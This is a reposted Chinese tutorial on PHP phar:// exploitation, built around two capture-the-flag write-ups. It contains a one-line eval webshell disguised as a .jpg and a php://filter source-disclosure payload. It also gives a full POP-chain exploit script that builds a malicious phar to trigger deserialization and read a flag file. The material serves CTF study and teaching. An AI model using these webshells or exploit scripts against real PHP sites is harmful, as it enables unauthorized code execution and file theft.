Phar的一些利用姿势

栏目: PHP · 发布时间: 7年前

内容简介:翻译自手册:phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。使用
Phar的一些利用姿势

翻译自手册:

phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的 PHP 应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。

例子

使用 Phar:// 伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已

写一段小代码测试一下:

test.php

<?php @eval($_POST["cmd"]);?>

然后将test.php压缩,将压缩文件改后缀为 .jpg
index.php

<?php
include('phar://./test.jpg/test.php');
?>

成功包含

Phar的一些利用姿势

例题:安恒11月月赛:image_up

信息收集:

http://101.71.29.5:10043/index.php?page=login

尝试伪协议读取一波源码

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=

base64解码

index.php

<?php
if(isset($_GET['page'])){
if(!stristr($_GET['page'],"..")){
$page = $_GET['page'].".php";
include($page);
}else{
header("Location: index.php?page=login");
}
}else{
header("Location: index.php?page=login");
}

login.php

<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>

upload.php

<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!";
}
}else{
$error = "文件过大,上传失败!";
}
}
?>

分析:

从upload.php可以看出只能上传(”jpg”,”png”,”gif”,”jpeg”)文件,而且再index.php中在包含的文件后面强行加了”.php”,直接包含图片文件明显不可以了,于是就用到了我们的Phar伪协议流,将我们的一句话木马打包成压缩包,然后再将后缀改为 .jpg ,这样就能通过Phar伪协议去包含我们的一句话木马了。

这题有一个坑点,就是时间戳的问题:

$path = "uploads/".md5($temp[0].time()).".".$extension;

这里要time()+8*3600,时区不同所以要加上8小时

payload:

/index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1

菜刀连接即可getflag

Phar的一些利用姿势

Phar的一些利用姿势

我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

Phar文件结构

Phar文件主要包含三至四个部分:

1. A stub

stub的基本结构:<?php HALT_COMPILER();,stub必须以 HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点

Phar的一些利用姿势

3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

Phar的一些利用姿势

小测试

既然都知道Phar文件的基本结构了,那么我们就写一段代码来测试一下

PS:php.ini中必须设置phar.readonly=Off,不然Phar文件就会无法生成。

<?php
class Test{
public $test="test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算
?>

查看一下phar文件的结构,可以看到Meta-data的内容是以反序列的形式储存的。

Phar的一些利用姿势

那序列化部分的内容怎么反序列呢?

在使用Phar:// 协议流解析Phar文件时,Meta-data中的内容都会进行反序列化

小trick:系统文件操作的函数一般都能使用伪协议流,Phar:// 也是ok的

写一段小代码测试一下:

<?php
class Test{
function __destruct(){
echo "test";
}
}
file_get_contents("phar://./test.phar/test.txt");
?>

可以看到成功触发了反序列化

Phar的一些利用姿势

实战运用

一般情况下,利用Phar反序列漏洞有几个条件:

可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

例题:SWPUCTF2018 SimplePHP

信息收集

这题有两个功能:1.查看文件。2.上传文件

按流程走一下,先查看一波源码

file.php

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>

upload_file.php:

<?php
include 'function.php';
upload_file();
?>

function.php

<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

分析:

file.php中用了 file_exists() 函数判断读取的文件是否存在,并且源码里面告诉你flag在f1ag.php里面,所以猜测考察用Phar反序列化去读取flag。

简单地浏览一下所有的php代码发现只有两个读取系统文件的函数:

highlight_file()
file_get_contents()

pop链分析

首先看到Show类中的_show方法:

Phar的一些利用姿势

可以看到f1ag被ban了, highlight_file 利用不了

然后再看到Test类里面的file_get方法有 file_get_contents 函数,再回首file_get是在get方法里面调用的,而get方法是通过触发魔术方法 __get() 去调用的

__get():获取类中的一个不可访问属性或者是不存在的属性会调用此方法

那么我们怎么去触发 __get 呢?再回到类Show中看到

Phar的一些利用姿势

看到这里思路就很清晰了,只要我们把Test实例化的对象存储在str的数组中,然后再去调用source属性(即Test中不存在的属性),就可以触发 __get() 了。那么我们如何触发 __toString() 呢?

__toString():将一个实例化对象当做一个字符串来使用时,会自动调用该方法

在看到C1e4r类里面,看到 __destruct() 刚好有对字符串的输出

Phar的一些利用姿势

整个pop链就很清晰了,最后就是写exp了

编写exp

<?php
class C1e4r{
public $test;
public $str;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params = array();
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$fun1 = new C1e4r();
$fun2 = new Show();
$fun3 = new Test();
$fun3->params['source']="/var/www/html/f1ag.php";
$fun2->str = array('str'=>$fun3);
$fun1->str = $fun2;
$phar->setMetadata($fun1);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

构造文件名

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

最后的payload

http://120.79.158.180:11115/file.php?file=phar://./upload/7bd59e11d401afdf6c1d291a33a940b2.jpg

getflag:

Phar的一些利用姿势


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Mobilizing Web Sites

Mobilizing Web Sites

Layon, Kristofer / 2011-12 / 266.00元

Everyone has been talking about the mobile web in recent years, and more of us are browsing the web on smartphones and similar devices than ever before. But most of what we are viewing has not yet bee......一起来看看 《Mobilizing Web Sites》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码